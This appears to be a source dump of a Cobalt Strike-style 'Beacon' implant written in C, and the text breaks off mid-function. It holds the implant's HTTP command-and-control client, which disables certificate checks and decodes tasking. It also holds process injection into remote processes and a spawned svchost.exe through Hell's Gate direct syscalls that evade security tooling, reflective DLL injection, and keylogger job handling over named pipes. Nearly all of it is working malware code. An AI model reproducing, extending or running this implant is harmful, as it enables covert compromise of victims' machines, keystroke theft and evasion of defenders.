ڴHTTPӦ size_t write_callback(void* ptr, size_t size, size_t nmemb, void* userdata) { size_t real_size = size * nmemb; perform_requestresult* mem = (perform_requestresult*)userdata; mem->resqresult = realloc(mem->resqresult, mem->respsize + real_size + 1); if (mem->resqresult == NULL) { printf("Failed to allocate memory\n"); return 0; } memcpy(&(mem->resqresult[mem->respsize]), ptr, real_size); mem->respsize += real_size; mem->resqresult[mem->respsize] = 0; return real_size; } perform_requestresult perform_post_request(unsigned char* url, struct curl_slist* headers, const char* postData) { CURL* curl; CURLcode res; // ʼCURL curl = curl_easy_init(); if (!curl) { fprintf(stderr, "Failed to initialize curl\n"); exit(EXIT_FAILURE); } perform_requestresult chunk; chunk.resqresult = malloc(1); if (chunk.resqresult == NULL) { fprintf(stderr, "Failed to allocate memory\n"); curl_easy_cleanup(curl); exit(EXIT_FAILURE); } chunk.respsize = 0; // ͷӵCURL curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // URL curl_easy_setopt(curl, CURLOPT_URL, url); // POST curl_easy_setopt(curl, CURLOPT_POST, 1L); // POST curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); // Ӧݴص curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback); // received_size Ϊ CURLOPT_WRITEDATA IJ curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void*)&chunk); //url_easy_setopt(curl, CURLOPT_PROXY, "192.168.203.111:111"); // öĿ֤֤ curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); //鿴ϸ //curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); while (1) { res = curl_easy_perform(curl); if (res != CURLE_OK) { printf("\nCONNECT HTTP Error\n"); Sleep(1000); } else { chunk.code = (int)res; curl_easy_cleanup(curl); return chunk; } } } // ִHTTP GET󣬲ͷ perform_requestresult perform_get_request(unsigned char* url, struct curl_slist* headers) { CURL* curl; CURLcode res; // ʼCURL curl = curl_easy_init(); if (!curl) { fprintf(stderr, "Failed to initialize curl\n"); exit; } perform_requestresult chunk; chunk.resqresult = malloc(1); if (chunk.resqresult == NULL) { fprintf(stderr, "Failed to allocate memory\n"); curl_easy_cleanup(curl); exit(EXIT_FAILURE); } chunk.respsize = 0; // ͷӵCURL curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // URL curl_easy_setopt(curl, CURLOPT_URL, url); // Ӧݴص curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback); // received_size Ϊ CURLOPT_WRITEDATA IJ curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void*)&chunk); // ִHTTP GET //curl_easy_setopt(curl, CURLOPT_PROXY, "192.168.203.111:111"); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); while (1) { res = curl_easy_perform(curl); if (res != CURLE_OK) { printf("\nCONNECT HTTP Error\n"); Sleep(1000); } else { chunk.code = (int)res; curl_easy_cleanup(curl); return chunk; } } } char* removePrefixAndSuffix(unsigned char* data, unsigned char* prefix, unsigned char* suffix) { size_t prefixLen = strlen(prefix); size_t suffixLen = strlen(suffix); size_t dataLen = strlen(data); if (strncmp(data, prefix, prefixLen) == 0 && strncmp(data + (dataLen - suffixLen), suffix, suffixLen) == 0) { data[dataLen - suffixLen] = '\0'; return data + prefixLen; } return data; // Return original data if prefix/suffix not found } unsigned char* parseGetResponse(unsigned char* data, size_t dataSize ,size_t* responsedatalen) { //printf("\n parseGetResponse %s \n ", data); data = removePrefixAndSuffix(data, Response_prepend, Response_append); /* printf("\n parseGetResponse %s \n ", data); printf("EncryMetadata Encrypted data (hex)1111111: %d \n" , strlen(data)); for (int i = 0; i < strlen(data); ++i) { printf("%d, ", data[i]); } printf("\n");*/ //int data_length = strlen(data); int data_length = strlen(data); unsigned char netbiosKey = 'a'; // Replace 'a' with your desired key size_t NetbiosDecodedatalen; unsigned char* NetbiosDecodedata = NetbiosDecode((unsigned char*)data, data_length, netbiosKey ,&NetbiosDecodedatalen); //printf("NetbiosDecodedata222222222: %d \n", NetbiosDecodedatalen); //for (int i = 0; i < NetbiosDecodedatalen; ++i) { // printf("%d, ", NetbiosDecodedata[i]); // Ӧ޸Ϊӡݣ data[i] -> NetbiosDecode Ľ //} //printf("\n"); // Printing the result after NetbiosDecode //printf("After NetbiosDecode22222222: %s", data); printf("\n"); unsigned char* first = "1234"; if (NetbiosDecodedatalen < 5) { *responsedatalen = 4; return first; free(NetbiosDecodedata); } // MaskDecode: Perform the MaskDecode operation after NetbiosDecode unsigned char key[] = { NetbiosDecodedata[0], NetbiosDecodedata[1], NetbiosDecodedata[2], NetbiosDecodedata[3] }; // Extract first 4 bytes as key int key_length = sizeof(key) / sizeof(key[0]); size_t MaskDecodedatalen = NetbiosDecodedatalen - 4; unsigned char* MaskDecodedata= MaskDecode((unsigned char*)&NetbiosDecodedata[4], MaskDecodedatalen, key, key_length); printf("EncryMetadata Encrypted data (hex)333333: %d \n", MaskDecodedatalen); /*for (int i = 0; i < MaskDecodedatalen; ++i) { printf("%d, ", MaskDecodedata[i]); } printf("\n"); for (int i = 0; i < MaskDecodedatalen; ++i) { printf("%d, ", MaskDecodedata[i]); } printf("\n");*/ // Printing the final result after MaskDecode //printf("After MaskDecode: %s\n", MaskDecodedata); *responsedatalen = MaskDecodedatalen; return MaskDecodedata; free(NetbiosDecodedata); free(MaskDecodedata); } unsigned char* parsePacket(unsigned char* decryptedBuf, uint32_t* totalLen, uint32_t* commandType ,size_t* commandBuflen , size_t* jia, int* jiaci) { unsigned char* decryptedBuf1; if (*jia > 0) { decryptedBuf1 = decryptedBuf + (int)*jia + *jiaci * 8; *jiaci += 1; } else { decryptedBuf1 = decryptedBuf; } uint8_t commandTypeBytes[4]; unsigned char* commandTypeBytesStart = decryptedBuf1; memcpy(&commandTypeBytes, commandTypeBytesStart, 4); *commandType = bigEndianUint32(commandTypeBytes); /* printf("\ncommandTypeBytes \n"); for (int i = 0; i < sizeof(commandTypeBytes); i++) { printf("%d ", commandTypeBytes[i]); }*/ uint8_t commandLenBytes[4]; unsigned char* commandLenBytessStart = decryptedBuf1 + 4; memcpy(&commandLenBytes, commandLenBytessStart, 4); uint32_t commandLen = bigEndianUint32(commandLenBytes); /* printf("\n commandLenBytes %d\n ",sizeof(commandLenBytes)); for (int i = 0; i < sizeof(commandLenBytes); i++) { printf("%d ", commandLenBytes[i]); }*/ //unsigned char* commanddata = (unsigned char*)malloc(len * sizeof(uint8_t)); unsigned char* commandBuf = (unsigned char*)malloc(commandLen); unsigned char* commandBufStart = decryptedBuf1 + 8; memcpy(commandBuf, commandBufStart, commandLen); /* printf("\n commanddata %d\n",commandLen); for (int i = 0; i < commandLen; i++) { printf("%d ", commandBuf[i]); }*/ // ģӻжȡ Command Length // totalLen *totalLen = *totalLen - (4 + 4 + commandLen); *commandBuflen = commandLen; *jia = *jia+ commandLen; return commandBuf; free(commandTypeBytesStart); free(commandLenBytessStart); free(commandBuf); free(commandBufStart); } ================================================ FILE: Beacon/Http.h ================================================ #pragma once #include #include #include #include #include typedef struct { size_t respsize; unsigned char* resqresult; int code; }perform_requestresult; perform_requestresult perform_get_request(unsigned char* url, struct curl_slist* headers); unsigned char* parseGetResponse(unsigned char* data, size_t dataSize, size_t* responsedatalen); unsigned char* parsePacket(unsigned char* decryptedBuf, uint32_t* totalLen, uint32_t* commandType, size_t* commandBuflen , size_t* jia,int* jiaci); perform_requestresult perform_post_request(unsigned char* url, struct curl_slist* headers, const char* postData); ================================================ FILE: Beacon/InjectProcess.c ================================================ #include "Util.h" #include "Command.h" #include "Job.h" #include "GuangMing.h" typedef struct { HANDLE hProcess; HANDLE hThread; DWORD Process_PID; BOOL is_process_arch; BOOL Flag_FALSE; BOOL is_system_process; BOOL is_Process_self; BOOL ishThread; }BeaconProcessInject; /// /// ʼעеһЩ /// /// /// /// BOOL sub_100054CC(char* payload, int p_len) { return p_len >= 51200 && *(WORD*)payload == 'ZM' && *((DWORD*)payload + 255) == 0xF4F4F4F4; } /// /// ʼBeaconProcessInject /// /// /// /// /// void sub_10004B81(HANDLE hProcess, PROCESS_INFORMATION* pi, int pid, BeaconProcessInject* pBeaconProcessInject) { pBeaconProcessInject->hProcess = hProcess; pBeaconProcessInject->Process_PID = pid; pBeaconProcessInject->Flag_FALSE = 1; int v5 =1; int v6 = v5 == pBeaconProcessInject->Flag_FALSE; pBeaconProcessInject->is_process_arch = v5; pBeaconProcessInject->is_system_process = v6; pBeaconProcessInject->is_Process_self = pid == GetCurrentProcessId(); if (pi) { pBeaconProcessInject->ishThread = 1; pBeaconProcessInject->hThread = pi->hThread; } else { pBeaconProcessInject->ishThread = 0; pBeaconProcessInject->hThread = 0; } } typedef NTSTATUS(NTAPI* NtMapViewOfSection_t)( HANDLE sectionHandle, HANDLE processHandle, PVOID* baseAddress, ULONG_PTR zeroBits, SIZE_T commitSize, PLARGE_INTEGER sectionOffset, PSIZE_T viewSize, ULONG inheritDisposition, ULONG allocationType, ULONG win32Protect); /// /// ڴ /// /// /// /// /// char* VirtualProtecAddress(size_t payload_size, BeaconProcessInject* pBeaconProcessInject, char* payload) { // Զڴķʽ VirtualAllocEx or NtMapViewOfSection /* if (pBeaconProcessInject->is_system_process) {*/ SIZE_T min_alloc = 1356; if (payload_size > min_alloc) { min_alloc = payload_size; } //LPVOID payloadaddr = RWXaddress(); char* payloadaddr = 0; ULONG size = 1 << 18; SIZE_T buffSize1 = (SIZE_T)min_alloc; char* NtAllocateVirtualMemoryEx = "NtAllocateVirtualMemoryEx"; DWORD SyscallNumber = GetSyscallNumber(NtAllocateVirtualMemoryEx,26); HellsGate(SyscallNumber); HellDescent(pBeaconProcessInject->hProcess, &payloadaddr, &buffSize1, MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE ,NULL,0 ); //char* payloadaddr = (char*)VirtualAllocEx(pBeaconProcessInject->hProcess, 0, min_alloc, 0x3000u, PAGE_READWRITE); //char* payloadaddr = (char*)payloadaddr; if (!payloadaddr) { BeaconErrorDD(0x1Fu, min_alloc, GetLastError()); return 0; } int NumberBytes = 0; SIZE_T NumberOfBytesWritten = 0; ULONG flOldProtect = 0; if (payload_size > 0) { //NtWriteVirtualMemory char* NtWriteVirtualMemory = "NtWriteVirtualMemory"; DWORD SyscallNumber = GetSyscallNumber(NtWriteVirtualMemory, 21); HellsGate(SyscallNumber); while (HellDescent(pBeaconProcessInject->hProcess, &payloadaddr[NumberBytes], &payload[NumberBytes], payload_size - NumberBytes, &NumberOfBytesWritten)==0) { NumberBytes += NumberOfBytesWritten; if (!NumberOfBytesWritten) { return 0; } if (NumberBytes >= payload_size) { //int userwx = get_short(44); char* NtProtectVirtualMemory = "NtProtectVirtualMemory"; DWORD SyscallNumber = GetSyscallNumber(NtProtectVirtualMemory, 23); HellsGate(SyscallNumber); //NTSTATUS status = HellDescent(pBeaconProcessInject->hProcess, (PVOID*)&payloadaddr, &min_alloc, PAGE_EXECUTE_READWRITE, &flOldProtect); if (HellDescent(pBeaconProcessInject->hProcess, (PVOID*)&payloadaddr, &min_alloc, PAGE_EXECUTE_READWRITE, &flOldProtect)) { BeaconErrorD(0x11u, GetLastError()); return 0; } return payloadaddr; } } BeaconErrorD(0x10, GetLastError()); return 0; } //} //else //{ // //result = sub_10005120(pBeaconProcessInject->hProcess, payload, payload_size); // PVOID BaseAddress = 0; // ULONG_PTR ViewSize = 0; // int min_alloc = 16384;//.process-inject.min_alloc // if (payload_size > min_alloc) // { // min_alloc = payload_size; // } // /* HMODULE ntdllbase = GetModuleHandleA("ntdll.dll"); // NtMapViewOfSection_t NtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(ntdllbase, "NtMapViewOfSection"); // if (!NtMapViewOfSection) // { // return 0; // }*/ // HANDLE FileMappingA = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, min_alloc, 0); // if (FileMappingA != (HANDLE)-1) // { // PVOID payloadaddr = MapViewOfFile(FileMappingA, FILE_MAP_ALL_ACCESS, 0, 0, 0); // if (payloadaddr) // { // memcpy(payloadaddr, payload, payload_size); // //int userwx = get_short(44); //.process-inject.userwx // NtMapViewOfSection(FileMappingA, pBeaconProcessInject->hProcess, &BaseAddress, 0, 0, 0, &ViewSize, 1, 0, PAGE_READWRITE); // UnmapViewOfFile(payloadaddr); // } // CloseHandle(FileMappingA); // } // if (!BaseAddress) // { // BeaconErrorD(0x49u, GetLastError()); // } // return BaseAddress; //} /*return result;*/ } BOOL BeaconCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter) { return CreateRemoteThread(hProcess, 0, 0, lpStartAddress, lpParameter, 0, 0) != 0; } void BeaconReflectiveDLLInject(char* commandBuf, int lenn) { uint8_t pidd[4]; uint8_t p_offsett[4]; unsigned char* pendingRequeststart = commandBuf; unsigned char* dirPathLenBytesstart = commandBuf + 4; memcpy(pidd, pendingRequeststart, 4); memcpy(p_offsett, dirPathLenBytesstart, 4); DWORD pid = bigEndianUint32(pidd); int p_offset = bigEndianUint32(p_offsett); HANDLE hProcess = OpenProcess(1082u, 0, pid); int arch = Is_Wow64(hProcess); /*datap pdatap; BeaconDataParse(&pdatap, commandBuf, lenn);*/ if (!arch == 1) { ProcessInject(pid, 0, hProcess, commandBuf+8, lenn, p_offset, 0, 0); CloseHandle(hProcess); return; } else { int Bufflen = 23; unsigned char result[23] = "process is x86 not X64"; unsigned char* resultmemmory = (unsigned char*)malloc(31); memcpy(resultmemmory, result, 31); DataProcess(resultmemmory, Bufflen, 0); return; } /*unsigned char* dirPathBytes = (unsigned char*)malloc(dirPathLen); unsigned char* dirPathBytesstart = commandBuf + 8; memcpy(dirPathBytes, dirPathBytesstart, dirPathLen); dirPathBytes[dirPathLen] = '\0';*/ } void BeaconSpawn(char* payload, int payloadsize) { HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = { 0 }; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreatePipeJob Createpipe = createjob(); hReadPipe = Createpipe.hReadPipe; si = Createpipe.si; //ProcessInject(GetCurrentProcessId(), &pi, GetCurrentProcess(), payload, payloadsize, p_offset, arg, a_len); //ע뵽 if (BeaconSpawnTemporaryProcess(1, 1, &si, &pi)) { Sleep(0x64u); ProcessInject(pi.dwProcessId, &pi, pi.hProcess, payload, payloadsize, 0, 0, 0); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(hWritePipe); CloseHandle(hReadPipe); } } int BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo) { if (!CreateProcessA( NULL, "c:\\windows\\system32\\svchost.exe", NULL, NULL, TRUE, 0x44u, NULL, NULL, sInfo, pInfo)) { int LastError = GetLastError(); return 0; } } int Inject(BeaconProcessInject* pBeaconProcessInject, int prepended_data_size, char* BaseAddress, LPVOID lpParameter , size_t* payloadsize) { DWORD flOldProtect = 0; char* NtProtectVirtualMemory = "NtProtectVirtualMemory"; DWORD SyscallNumber = GetSyscallNumber(NtProtectVirtualMemory, 23); HellsGate(SyscallNumber); //HellDescent(pBeaconProcessInject->hProcess, &payloadaddr, &buffSize1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0); if (HellDescent(pBeaconProcessInject->hProcess, (PVOID*)&BaseAddress, payloadsize, PAGE_EXECUTE_READWRITE, &flOldProtect)) { BeaconErrorD(0x11u, GetLastError()); } //CreateRemoteThread(pBeaconProcessInject->hProcess, 0, 0, (LPTHREAD_START_ROUTINE)&BaseAddress[prepended_data_size], lpParameter, 0, 0); PHANDLE hThread; char* NtCreateThreadEx = "NtCreateThreadEx"; DWORD NtCreateThreadExNumber = GetSyscallNumber(NtCreateThreadEx, 17); HellsGate(NtCreateThreadExNumber); // NtCreateThreadEx NTSTATUS status = HellDescent( &hThread, THREAD_ALL_ACCESS, NULL, pBeaconProcessInject->hProcess, (LPTHREAD_START_ROUTINE)&BaseAddress[prepended_data_size], (PVOID)lpParameter, FALSE, NULL, NULL, NULL, NULL); } char* InjectMe(size_t payload_size, char* payload) { SIZE_T min_alloc = 45; if (payload_size > min_alloc) { min_alloc = payload_size + 1024; } //char* payloadAddress = (char*)RWXaddress(); char* NtAllocateVirtualMemory = "NtAllocateVirtualMemory"; DWORD SyscallNumber = GetSyscallNumber(NtAllocateVirtualMemory, 24); HellsGate(SyscallNumber); HANDLE hProcess = GetCurrentProcess(); // ڴʼַ PVOID payloadAddress = NULL; // ڴı ULONG Protect = PAGE_READWRITE; HellDescent(hProcess, &payloadAddress, 0, &min_alloc, MEM_COMMIT | MEM_RESERVE, Protect); //char* payloadAddress = (char*)VirtualAlloc(0, min_alloc, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (payloadAddress) { memcpy(payloadAddress, payload, payload_size); return payloadAddress; //return CheckMemoryRWX(payloadAddress, min_alloc) != 0 ? payloadAddress : 0; } else { BeaconErrorDD(0x1F, min_alloc, GetLastError()); return 0; } } void InjectComply(size_t payload_size, BeaconProcessInject* pBeaconProcessInject, int prepended_data_size, char* payload, LPVOID lpParameter) { char* BaseAddress; if (pBeaconProcessInject->is_Process_self) { BaseAddress = (char*)InjectMe(payload_size, payload);// עaddress } else { BaseAddress = VirtualProtecAddress(payload_size, pBeaconProcessInject, payload);// עԶ̽address } if (BaseAddress) { if (!Inject(pBeaconProcessInject, prepended_data_size, BaseAddress, lpParameter, &payload_size))// ע { BeaconErrorDD(0x48u, pBeaconProcessInject->Process_PID, GetLastError()); } } } void ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len) { char* parameter_addr; BeaconProcessInject pBeaconProcessInject; sub_10004B81(hProcess, pi, pid, &pBeaconProcessInject); if (a_len <= 0) { parameter_addr = 0; } else { parameter_addr = VirtualProtecAddress(a_len, &pBeaconProcessInject, arg); } InjectComply(p_len, &pBeaconProcessInject, p_offset, payload, parameter_addr); } ================================================ FILE: Beacon/Job.c ================================================ #include "Util.h" #include "Job.h" BeaconJob* gBeaconJob = NULL; #pragma warning(disable:4996) // αĺ壬Ҫʵ滻 int g_job_Number; void Add_Beacon_Job(BeaconJob* pBeaconJob) { pBeaconJob->JobNumber = g_job_Number; ++g_job_Number; BeaconJob* pgBeaconJob = gBeaconJob; BeaconJob* temp; if (pgBeaconJob) { do { temp = pgBeaconJob; pgBeaconJob = pgBeaconJob->Linked; } while (pgBeaconJob); temp->Linked = pBeaconJob; } else { gBeaconJob = pBeaconJob; } } void Add_BeaconInternal_Job(HANDLE hNamedPipe, int job_process_pid, int job_type, char* job_name, int lasting) { BeaconJob* psshBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob)); psshBeaconJob->hWritePipe = (HANDLE)-1; psshBeaconJob->Linked = 0; psshBeaconJob->hReadPipe = hNamedPipe; psshBeaconJob->state = 1; psshBeaconJob->kill = 0; psshBeaconJob->JobProcessPid = job_process_pid; psshBeaconJob->JobType = job_type; psshBeaconJob->lasting = lasting; strncpy(psshBeaconJob->JobName, job_name, 64); Add_Beacon_Job(psshBeaconJob); } BOOL ConnectPipe(int dwFlagsAndAttributes, HANDLE* hNamedPipe, LPCSTR lpNamedPipeName) { HANDLE i; DWORD Mode; dwFlagsAndAttributes = dwFlagsAndAttributes | 0x100000; for (i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes | 0x100000, 0); ; i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes, 0)) { *hNamedPipe = i; if (i != (HANDLE)-1) { break; } if (GetLastError() != 231) { return 0; } if (!WaitNamedPipeA(lpNamedPipeName, 0x2710)) { SetLastError(0x102); return 0; } } Mode = 0; if (SetNamedPipeHandleState(*hNamedPipe, &Mode, 0, 0)) { return 1; } DisconnectNamedPipe(*hNamedPipe); CloseHandle(*hNamedPipe); return 0; } int BeaconDataCopyToBuf(unsigned char* parser, char* buffer, int buffer_size, size_t* lenn) { int copy_size = bigEndianUint32(parser); if (!copy_size) { return 0; } if (copy_size + 1 > buffer_size) { return 0; } char* data = parser + 4; if (!data) { return 0; } memcpy(buffer, data, copy_size); buffer[copy_size] = 0; *lenn = copy_size; return copy_size + 1; } BOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName) { if (dwFlagsAndAttributes) { return ConnectPipe(dwFlagsAndAttributes, hNamedPipe, NamedPipeName); } BOOL ret = ConnectPipe(0, hNamedPipe, NamedPipeName); return ret; } void KEYLOGGEJob(int FlagsAndAttributes, char* commandBuf, int lenn, int lasting) { char job_name[64] = { 0 }; CHAR NamedPipeName[64] = { 0 }; HANDLE hNamedPipe; uint8_t job_process_pidd[4]; uint8_t job_typee[2]; uint8_t timeoutt[2]; unsigned char* job_process_piddtstart = commandBuf; unsigned char* job_typeestart = commandBuf + 4; unsigned char* timeouttstart = commandBuf + 6; memcpy(job_process_pidd, job_process_piddtstart, 4); memcpy(job_typee, job_typeestart, 2); memcpy(timeoutt, timeouttstart, 2); int job_process_pid = bigEndianUint32(job_process_pidd); int job_type = Readshort(job_typee); int timeout = Readshort(timeoutt); size_t Bufflen; if (BeaconDataCopyToBuf(timeouttstart+2, NamedPipeName, 64 , &Bufflen) && BeaconDataCopyToBuf(timeouttstart+ 6+Bufflen, job_name, 64,&Bufflen)) { int dwFlagsAndAttributes = FlagsAndAttributes != 0 ? 0x20000 : 0; int number = 0; while (!ConnectJobPipe(&hNamedPipe, dwFlagsAndAttributes, NamedPipeName)) { Sleep(500); if (++number >= 20) { return; } } if (timeout) { CheckTimeout(hNamedPipe, timeout); } Add_BeaconInternal_Job(hNamedPipe, job_process_pid, job_type, job_name, lasting); } } CreatePipeJob createjob() { BOOL bRet = FALSE; HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = { 0 }; STARTUPINFO si = { 0 }; // Set the security attributes for the pipe securityAttributes.bInheritHandle = TRUE; securityAttributes.nLength = sizeof(securityAttributes); securityAttributes.lpSecurityDescriptor = NULL; // Create an anonymous pipe bRet = CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0); if (FALSE == bRet) { printf("CreatePipe"); } // Set up the parameters for the new process si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdError = hWritePipe; si.hStdOutput = hWritePipe; CreatePipeJob CreatePipeJob; CreatePipeJob.si = si; CreatePipeJob.hReadPipe = hReadPipe; CreatePipeJob.hWritePipe = hWritePipe; return CreatePipeJob; } BeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname) { BeaconJob* pBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob)); pBeaconJob->pHandle = hProcess; pBeaconJob->hThread = hThread; pBeaconJob->dwProcessId = dwProcessId; pBeaconJob->dwThreadId = dwThreadId; pBeaconJob->Linked = 0; pBeaconJob->hReadPipe = hReadPipe; pBeaconJob->hWritePipe = hWritePipe; pBeaconJob->state = 0; pBeaconJob->kill = 0; pBeaconJob->JobType = 0; pBeaconJob->JobProcessPid = dwProcessId; pBeaconJob->lasting = 0; _snprintf(pBeaconJob->JobName, 0x40u, "%s", jobname); Add_Beacon_Job(pBeaconJob); return pBeaconJob; } // /// beacon jos,ɾֹͣ״̬ /// void del_beacon_job() { BeaconJob* pgBeaconJob = gBeaconJob; if (pgBeaconJob) { do { if (pgBeaconJob->kill == 1) { if (pgBeaconJob->state) { if (pgBeaconJob->state == 1) { DisconnectNamedPipe(pgBeaconJob->hReadPipe); CloseHandle(pgBeaconJob->hReadPipe); } } else { CloseHandle(pgBeaconJob->pHandle); CloseHandle(pgBeaconJob->hThread); CloseHandle(pgBeaconJob->hReadPipe); CloseHandle(pgBeaconJob->hWritePipe); } } pgBeaconJob = pgBeaconJob->Linked; } while (pgBeaconJob); } pgBeaconJob = gBeaconJob; BeaconJob* temp = 0; while (pgBeaconJob) { if (pgBeaconJob->kill == 1) { if (temp) { temp->Linked = pgBeaconJob->Linked; free(pgBeaconJob); pgBeaconJob = pgBeaconJob->Linked; } else { gBeaconJob = pgBeaconJob->Linked; BeaconJob* temp1 = gBeaconJob; free(pgBeaconJob); pgBeaconJob = temp1; } } else { temp = pgBeaconJob; pgBeaconJob = pgBeaconJob->Linked; } } } void beacon_JobKill(char* Taskdata, int Task_size) { BeaconJob* pBeaconJob = gBeaconJob; datap pdatap; BeaconDataParse(&pdatap, Taskdata, Task_size); int jobid = BeaconDataShort(&pdatap); while (pBeaconJob) { if (pBeaconJob->JobNumber == jobid) { pBeaconJob->kill = 1; } pBeaconJob = pBeaconJob->Linked; } del_beacon_job(); } void beacon_jobs() { BeaconJob* pBeaconJob = gBeaconJob; formatp pformatp; // ʼʽ BeaconFormatAlloc(&pformatp, 0x8000); // бʽ while (pBeaconJob) { BeaconFormatPrintf(&pformatp, "%d\t%d\t%s\n", pBeaconJob->JobNumber, pBeaconJob->JobProcessPid, pBeaconJob->JobName); pBeaconJob = pBeaconJob->Linked; } // ȡʽijȺָ int length = BeaconFormatlength(&pformatp); char* buffer = BeaconFormatOriginalPtr(&pformatp); // ͸ʽ Beacon uint8_t id[21] = "JID\tPID\tDescription\n"; uint8_t xiahua[21] = "---\t---\t-----------\n"; size_t metaInfoSize1 = sizeof(id) + sizeof(xiahua) + length-3; unsigned char* metaInfoconcatenated1 = (unsigned char*)malloc(metaInfoSize1); metaInfoconcatenated1[metaInfoSize1] = '\0'; memcpy(metaInfoconcatenated1,id, sizeof(id)); memcpy(metaInfoconcatenated1+ sizeof(id)-1, xiahua, sizeof(xiahua)); memcpy(metaInfoconcatenated1 + sizeof(id) + sizeof(xiahua)-2, buffer, length); DataProcess(metaInfoconcatenated1, metaInfoSize1, 0); // ͷԴ BeaconFormatFree(&pformatp); } unsigned char* ParsepipeName(unsigned char* buf, size_t* argsize , size_t* len) { uint8_t argLenBytes[4]; if (*argsize == 0) { memcpy(argLenBytes, buf + 8, 4); uint32_t argLen = bigEndianUint32(argLenBytes); if (argLen != 0) { unsigned char* arg = (unsigned char*)malloc(argLen); memcpy(arg, buf + 12, argLen); arg[argLen] = '\0'; *argsize = 12 + argLen; *len = argLen; return arg; } } else { memcpy(argLenBytes, buf + *argsize, 4); uint32_t argLen = bigEndianUint32(argLenBytes); if (argLen != 0) { unsigned char* arg = (unsigned char*)malloc(argLen); memcpy(arg, buf + 4 + *argsize, argLen); arg[argLen] = '\0'; *argsize = 4 + *argsize + argLen; *len = argLen; return arg; } } } struct ThreadArgs { unsigned char* pipeName; uint16_t* sleepTime; uint16_t* callbackType; unsigned char* JobName; uint32_t PIDD; }; void CheckTimeout(HANDLE hNamedPipe, int timeout) { DWORD TotalBytesAvail = 0; int time = timeout + GetTickCount(); while (GetTickCount() < time && PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0) && !TotalBytesAvail) { Sleep(500); } } DWORD WINAPI PipeJobHandla(LPVOID lpParam) { Sleep(2000); struct ThreadArgs* args = (struct ThreadArgs*)lpParam; unsigned char* pipeName = args->pipeName; uint16_t* sleepTime = args->sleepTime; uint16_t* callbackType = args->callbackType; unsigned char* JobName = args->JobName; uint32_t* PIDD = args->PIDD; HANDLE hNamedPipe; int number = 0; HANDLE i; DWORD Mode; int resBool = 0; LPCSTR aaa = pipeName; while (!resBool) { for (i = CreateFileA(aaa, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, 0 | 0x100000, 0); ; i = CreateFileA(aaa, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, 0, 0)) { if (i == INVALID_HANDLE_VALUE) { resBool = 0; } hNamedPipe = i; if (i != (HANDLE)-1) { break; } if (GetLastError() != 231) { resBool = 0; break; } if (!WaitNamedPipeA(aaa, 0x2710)) { SetLastError(0x102); resBool = 0; break; } } Mode = 0; if (SetNamedPipeHandleState(hNamedPipe, &Mode, 0, 0)) { resBool = 1; } else { DisconnectNamedPipe(hNamedPipe); CloseHandle(hNamedPipe); resBool = 0; } if (resBool == 0) { Sleep(500); if (++number >= 20) { BeaconErrorD(20, GetLastError()); return; } } } if (sleepTime) { CheckTimeout(hNamedPipe, sleepTime); } char buffer[10000]; DWORD bytesRead; OVERLAPPED overlap = { 0 }; ReadFile(hNamedPipe, buffer, sizeof(buffer), NULL, &overlap); DataProcess(buffer, overlap.InternalHigh, 0); Add_BeaconInternal_Job(hNamedPipe, PIDD, callbackType, JobName, 0); //HANDLE pipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); //if (pipe == INVALID_HANDLE_VALUE) { // fprintf(stderr, "Failed to open pipe (%lu)\n", GetLastError()); // return NULL; //} } void PipeJob(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen) { size_t argsize = 0; unsigned char* bufstart = buf; uint8_t PID[4]; uint8_t callbackTypeByte[2]; uint8_t sleepTimeByte[2]; memcpy(PID, bufstart, 4); memcpy(callbackTypeByte, bufstart+4,2); memcpy(sleepTimeByte, bufstart+6, 2); uint32_t PIDD = bigEndianUint32(PID); uint16_t callbackType= Readshort(callbackTypeByte); uint16_t sleepTime = Readshort(sleepTimeByte); size_t pipeNamelen = 0; size_t JobNamelen = 0; unsigned char* JobName = 0; unsigned char* pipeName = 0; datap pdatap; BeaconDataParse(&pdatap, buf, commandBuflen); int 